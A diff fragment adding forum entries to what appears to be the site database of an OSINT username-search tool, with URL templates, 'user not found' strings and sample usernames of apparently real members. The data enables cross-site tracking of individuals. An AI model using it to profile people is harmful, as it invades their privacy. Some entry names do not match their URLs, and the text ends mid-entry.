+ "Forum_silveradoev": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.silveradoevforum.com/members/?username={}",
+ "urlMain": "https://www.silveradoevforum.com",
+ "usernameON": "nebula1701",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_silveradosierra": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.silveradosierra.com/members/?username={}",
+ "urlMain": "https://www.silveradosierra.com",
+ "usernameON": "babock58",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_silverstream": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> Результатов поиска нет",
+ "errorMsg3": "Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://f.simpleminecraft.ru/index.php?/search/&q={}&quick=1&type=core_members",
+ "urlMain": "https://f.simpleminecraft.ru",
+ "usernameON": "delars",
+ "bad_site": ""
+ },
+ "Forum_simracing": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "0 результатов",
+ "errorMsg2": "Пожалуйста, подождите",
+ "errorTyp��": "message",
+ "url": "https://forum.simracing.su/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://forum.simracing.su",
+ "usernameON": "veter",
+ "bad_site": ""
+ },
+ "Forum_sims3game": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://sims3game.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://sims3game.ucoz.ru",
+ "usernameON": "reveille",
+ "bad_site": ""
+ },
+ "Forum_singaporebrides": {
+ "country": "🇸🇬",
+ "country_klas": "SG",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://singaporebrides.com/weddingforum/members/?username={}",
+ "urlMain": "https://singaporebrides.com",
+ "usernameON": "buzz",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_sitepoint": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "\\"posts\\":[],\\"users\\":[],",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.sitepoint.com/community/search?context=topic&q={}&search_type=users&skip_context=true",
+ "urlMain": "https://www.sitepoint.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Forum_sivatherium": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://skachat-warcraft-3.ru/index/8-0-{}",
+ "urlMain": "https://skachat-warcraft-3.ru",
+ "usernameON": "Grandar",
+ "bad_site": ""
+ },
+ "Forum_skateclass": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorTyp��": "message",
+ "url": "https://sokrovische.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://sokrovische.ucoz.ru",
+ "usernameON": "Visondela",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_solana": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://forum.solana.com/u/{}/summary",
+ "urlMain": "https://forum.solana.com",
+ "usernameON": "ilian",
+ "bad_site": ""
+ },
+ "Forum_soligorsk": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://soligorsk-info.ucoz.com/index/8-0-{}",
+ "urlMain": "https://soligorsk-info.ucoz.com",
+ "usernameON": "andydudyk",
+ "bad_site": ""
+ },
+ "Forum_solikamsk1": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://solikamsk1.ucoz.org/index/8-0-{}",
+ "urlMain": "https://solikamsk1.ucoz.org",
+ "usernameON": "Openair",
+ "bad_site": ""
+ },
+ "Forum_solnechnyi": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "url": "https://solnechnyi.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://solnechnyi.ucoz.ru",
+ "usernameON": "eameln07",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_solonkino": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "url": "https://solonkino.3dn.ru/index/8-0-{}",
+ "urlMain": "https://solonkino.3dn.ru",
+ "usernameON": "tasya",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_solotouch": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "No suitable matches were found.",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.solotouch.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search",
+ "urlMain": "https://www.solotouch.com/",
+ "usernameON": "rosco1",
+ "bad_site": ""
+ },
+ "Forum_solstar": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "домен, регистратор, доменные имена",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://solstar.ru/index/8-0-{}",
+ "urlMain": "http://solstar.ru",
+ "usernameON": "wellnemo",
+ "bad_site": ""
+ },
+ "Forum_sonexbuilders": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "No suitable matches were found.",
+ "errorMsg2": "Information",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://sonexbuilders.net/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://sonexbuilders.net",
+ "usernameON": "lakespookie",
+ "bad_site": ""
+ },
+ "Forum_sony127": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://sony127.3dn.ru/index/8-0-{}",
+ "urlMain": "https://sony127.3dn.ru",
+ "usernameON": "htaletuauo",
+ "bad_site": ""
+ },
+ "Forum_sonyalpha": {
+ "country": "🇩🇪",
+ "country_klas": "DE",
+ "errorMsg": "0 Ergebnisse",
+ "errorMsg2": "One moment,",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://www.sonyalphaforum.de/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://www.sonyalphaforum.de",
+ "usernameON": "ger100",
+ "bad_site": ""
+ },
+ "Forum_sonycam": {
+ "country": "🇪🇸",
+ "country_klas": "ES",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.sonycam.es/foro/members/?username={}",
+ "urlMain": "https://www.sonycam.es",
+ "usernameON": "dano",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_soslujivzi": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://soslujivzi.ru/index/8-0-{}",
+ "urlMain": "https://soslujivzi.ru",
+ "usernameON": "bazy",
+ "bad_site": ""
+ },
+ "Forum_sosuave": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.sosuave.net/forum/members/?username={}",
+ "urlMain": "https://www.sosuave.net",
+ "usernameON": "theprospect",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_sourcepython": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorMsg": "Information ",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://forums.sourcepython.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search",
+ "urlMain": "https://forums.sourcepython.com/",
+ "usernameON": "Mahi",
+ "comments": "Archive",
+ "bad_site": 1
+ },
+ "Forum_south-tm": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://south-tm.clan.su/index/8-0-{}",
+ "urlMain": "http://south-tm.clan.su",
+ "usernameON": "Shchedrovnops",
+ "bad_site": ""
+ },
+ "Forum_sovet-miliziy": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://sovet-miliziy.narod.ru/index/8-0-{}",
+ "urlMain": "http://sovet-miliziy.narod.ru",
+ "usernameON": "Евпатий",
+ "bad_site": ""
+ },
+ "Forum_sovetskoye": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://sovetskoye.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://sovetskoye.ucoz.ru",
+ "usernameON": "VikingRUS",
+ "bad_site": ""
+ },
+ "Forum_sovgavan": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "url": "http://www.sovgavan.ru/index/8-0-{}",
+ "urlMain": "http://www.sovgavan.ru",
+ "usernameON": "Titana",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_sovpl": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>403",
+ "errorTyp��": "message",
+ "url": "https://soyuz-pisatelei.ru/index/8-0-{}",
+ "urlMain": "https://soyuz-pisatelei.ru",
+ "usernameON": "Litvin",
+ "bad_site": ""
+ },
+ "Forum_space": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forums.space.com/members/?username={}",
+ "urlMain": "https://forums.space.com",
+ "usernameON": "helio",
+ "comments": "Archive",
+ "bad_site": 1,
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_spacebattles": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forums.spacebattles.com/members/?username={}",
+ "urlMain": "https://forums.spacebattles.com",
+ "usernameON": "lt_ryguy",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_spanielclub": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "К сожалению",
+ "errorMsg2": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://spanielclub.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top",
+ "urlMain": "https://spanielclub.kamrbb.ru",
+ "usernameON": "kertezayde",
+ "bad_site": ""
+ },
+ "Forum_spchat": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация",
+ "errorTyp��": "message",
+ "url": "https://forum.spchat.ru/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://forum.spchat.ru",
+ "usernameON": "Taniar",
+ "bad_site": ""
+ },
+ "Forum_spdonetsk": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://spdonetsk.ucoz.ua/index/8-0-{}",
+ "urlMain": "https://spdonetsk.ucoz.ua",
+ "usernameON": "Alazany",
+ "bad_site": ""
+ },
+ "Forum_speakev": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.speakev.com/members/?username={}",
+ "urlMain": "https://www.speakev.com",
+ "usernameON": "nickkk32",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_specialstage": {
+ "country": "🇨🇦",
+ "country_klas": "CA",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.specialstage.com/members/?username={}",
+ "urlMain": "https://www.specialstage.com",
+ "usernameON": "ssadmin",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_specktra": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.specktra.net/members/?username={}",
+ "urlMain": "https://www.specktra.net",
+ "usernameON": "shellygrrl",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_spellbinder": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация",
+ "errorTyp��": "message",
+ "url": "https://forum.spellbinder.tv/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://forum.spellbinder.tv",
+ "usernameON": "vov2302",
+ "bad_site": ""
+ },
+ "Forum_spiceworks": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://community.spiceworks.com/u/{}",
+ "urlMain": "https://community.spiceworks.com",
+ "usernameON": "hulksmash72",
+ "comments": "RUblock",
+ "bad_site": ""
+ },
+ "Forum_spinningist": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://www.spinningist.com/index/8-0-{}",
+ "urlMain": "http://www.spinningist.com",
+ "usernameON": "Nux",
+ "comments": "Oplata",
+ "bad_site": ""
+ },
+ "Forum_spitz-dog": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://spitz-dog.ucoz.ru/index/8-0-{}",
+ "urlMain": "http://spitz-dog.ucoz.ru",
+ "usernameON": "hieswivay",
+ "bad_site": ""
+ },
+ "Forum_spoiledmaltese": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.spoiledmaltese.com/members/?username={}",
+ "urlMain": "https://www.spoiledmaltese.com",
+ "usernameON": "duncanweishaar093",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_spolo": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://sporeland.ru/index/8-0-{}",
+ "urlMain": "https://sporeland.ru/",
+ "usernameON": "ms_Zeys",
+ "bad_site": ""
+ },
+ "Forum_sport_f": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.sport-forums.com/members/?username={}",
+ "urlMain": "https://www.sport-forums.com",
+ "usernameON": "bascampt",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_sportgymnastic": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://sputnikkey.ru/index/8-0-{}",
+ "urlMain": "http://sputnikkey.ru",
+ "usernameON": "alexstvpr",
+ "bad_site": ""
+ },
+ "Forum_spyro-realms": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://www.spyro-realms.com/index/8-0-{}",
+ "urlMain": "https://www.spyro-realms.com",
+ "usernameON": "ftaletoxrf",
+ "bad_site": ""
+ },
+ "Forum_sqlteam": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://forums.sqlteam.com/u/{}/summary",
+ "urlMain": "https://forums.sqlteam.com",
+ "usernameON": "waterduck",
+ "bad_site": ""
+ },
+ "Forum_squarespace": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Found 0 results",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "url": "https://supermama.at.ua/index/8-0-{}",
+ "urlMain": "https://supermama.at.ua",
+ "usernameON": "Rinata",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_supermamki": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация",
+ "errorTyp��": "message",
+ "url": "https://forum.supermamki.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA",
+ "urlMain": "https://forum.supermamki.ru",
+ "usernameON": "dfhdu",
+ "bad_site": ""
+ },
+ "Forum_survivalistboards": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.survivalistboards.com/members/?username={}",
+ "urlMain": "https://www.survivalistboards.com",
+ "usernameON": "nativeman",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_suse": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://forums.suse.com/u/{}/summary",
+ "urlMain": "https://forums.suse.com",
+ "usernameON": "whcao",
+ "bad_site": ""
+ },
+ "Forum_suzuki": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.suzuki-forums.net/members/?username={}",
+ "urlMain": "https://www.suzuki-forums.net",
+ "usernameON": "verygreengsxs",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_svadba": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация",
+ "errorTyp��": "message",
+ "url": "https://forum.svadba.net.ru/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://forum.svadba.net.ru",
+ "usernameON": "photorub",
+ "bad_site": ""
+ },
+ "Forum_svalka": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "
403",
+ "errorTyp��": "message",
+ "url": "https://svalka.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://svalka.ucoz.ru",
+ "usernameON": "hatrash",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_svarkaforum": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация ",
+ "errorTyp��": "message",
+ "url": "https://svarkaforum.ru/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://svarkaforum.ru",
+ "usernameON": "Sonlion",
+ "bad_site": ""
+ },
+ "Forum_svarnoy": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "
403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://svarnoyforum.ucoz.com/index/8-0-{}",
+ "urlMain": "http://svarnoyforum.ucoz.com",
+ "usernameON": "nikolajtsymbal",
+ "bad_site": ""
+ },
+ "Forum_svarog": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>
403 Forbidden",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://svet-unlimited.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://svet-unlimited.ucoz.ru",
+ "usernameON": "Milija",
+ "bad_site": ""
+ },
+ "Forum_svobodavnutri": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "К сожалению",
+ "errorMsg2": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://svobodavnutri.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top",
+ "urlMain": "https://svobodavnutri.kamrbb.ru",
+ "usernameON": "lurdopufye",
+ "bad_site": ""
+ },
+ "Forum_svoystyle": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://svoystyle.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://svoystyle.ucoz.ru/",
+ "usernameON": "isaeva3",
+ "bad_site": ""
+ },
+ "Forum_svstrazh": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://svstudio.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://svstudio.ucoz.ru/",
+ "usernameON": "sunkid",
+ "bad_site": ""
+ },
+ "Forum_svvptau": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://www.swleague.ru/index/8-0-{}",
+ "urlMain": "http://www.swleague.ru",
+ "usernameON": "rtalethabg",
+ "bad_site": ""
+ },
+ "Forum_swoy": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://swoy.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://swoy.ucoz.ru",
+ "usernameON": "Tampy",
+ "bad_site": ""
+ },
+ "Forum_symerechnaya": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "К сожалению",
+ "errorMsg2": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://symerechnaya.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top",
+ "urlMain": "https://symerechnaya.kamrbb.ru/",
+ "usernameON": "jelmafesti",
+ "bad_site": ""
+ },
+ "Forum_synfig": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forums.synfig.org/u/{}/summary",
+ "urlMain": "https://forums.synfig.org",
+ "usernameON": "weranimators",
+ "bad_site": ""
+ },
+ "Forum_synwrite_sourceforge": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "No suitable matches were found.",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://synwrite.sourceforge.net/forums/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://synwrite.sourceforge.net/",
+ "usernameON": "SamC",
+ "bad_site": ""
+ },
+ "Forum_sys-adm": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://forum.sys-adm.in/u/{}",
+ "urlMain": "https://forum.sys-adm.in",
+ "usernameON": "sysadmin",
+ "bad_site": 1
+ },
+ "Forum_szaokprf": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "url": "https://szaokprf.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://szaokprf.ucoz.ru",
+ "usernameON": "sapsap",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_t-shirt": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.t-shirtforums.com/members/?username={}",
+ "urlMain": "https://www.t-shirtforums.com",
+ "usernameON": "tom703",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_tachograph": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://tachograph.ucoz.ru/index/8-0-{}",
+ "urlMain": "http://tachograph.ucoz.ru",
+ "usernameON": "zokfada",
+ "bad_site": ""
+ },
+ "Forum_tacticalwargames": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "No members found",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.tacticalwargames.net/taccmd/memberlist.php?username={}",
+ "urlMain": "https://www.tacticalwargames.net",
+ "usernameON": "MephistonAG",
+ "bad_site": ""
+ },
+ "Forum_taek": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://taek.3dn.ru/index/8-0-{}",
+ "urlMain": "https://taek.3dn.ru/",
+ "usernameON": "provzlom",
+ "bad_site": ""
+ },
+ "Forum_taganrog-stop": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://taganrog-stop.clan.su/index/8-0-{}",
+ "urlMain": "https://taganrog-stop.clan.su",
+ "usernameON": "avtoritetniy",
+ "bad_site": ""
+ },
+ "Forum_tagheuer": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://tagheuerforums.com/members/?username={}",
+ "urlMain": "https://tagheuerforums.com",
+ "usernameON": "hubert",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_tagilshops": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>403 Forbidden",
+ "errorTyp��": "message",
+ "url": "https://taipaqi.moy.su/index/8-0-{}",
+ "urlMain": "https://taipaqi.moy.su",
+ "usernameON": "lotly",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_taksafonchik": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://tambov.clan.su/index/8-0-{}",
+ "urlMain": "https://tambov.clan.su",
+ "usernameON": "Xando",
+ "bad_site": ""
+ },
+ "Forum_tanki": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "0 результатов",
+ "errorMsg2": "Пожалуйста, подождите",
+ "errorMsg3": "Что-то пошло не так",
+ "errorTyp��": "message",
+ "url": "https://ru.tankiforum.com/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://ru.tankiforum.com",
+ "usernameON": "anmo",
+ "bad_site": ""
+ },
+ "Forum_tanknet": {
+ "country": "🌎",
+ "country_klas": "WR",
